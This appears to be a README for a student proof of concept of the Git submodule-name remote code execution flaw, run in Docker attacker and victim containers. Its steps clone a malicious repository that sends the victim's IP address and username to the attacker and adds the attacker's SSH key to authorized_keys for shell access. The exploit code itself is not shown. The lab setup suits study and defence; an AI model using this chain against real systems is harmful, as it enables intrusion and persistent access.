ygouzerh/cve-2018-11235Proof of Concept - RCE Exploitation : Git submodules' names vulnerability - Ensimag November 2018
To build the Docker containers, use:
make docker
(The following make commands must be run in parallel on different terminals from your machine)
To start the attacker server container, use:
make run_server
to start the victim container, use:
make run_client
The container will run the client.py script. The script will transmit its IP address and username to the attacker.
Follow the instructions in the client console to clone the malicious git repository.
git clone --recurse-submodules root@server:home/poc/malicious_repo client_pwned
You will see that the victim's IP address and username are transmitted to the server.
After cloning, verify that the attacker's public key has been added to the client's authorized_keys.
Then you can open a shell on the client from the server using the following command (to be executed on your machine):
make server_bash
ssh <transmitted_username>@<transmitted_host>If you have any problems whatsoever executing this Proof of Concept, please create an issue on this repository: https://github.com/ygouzerh/CVE-2018-11235/issues , we will respond as quickly as possible.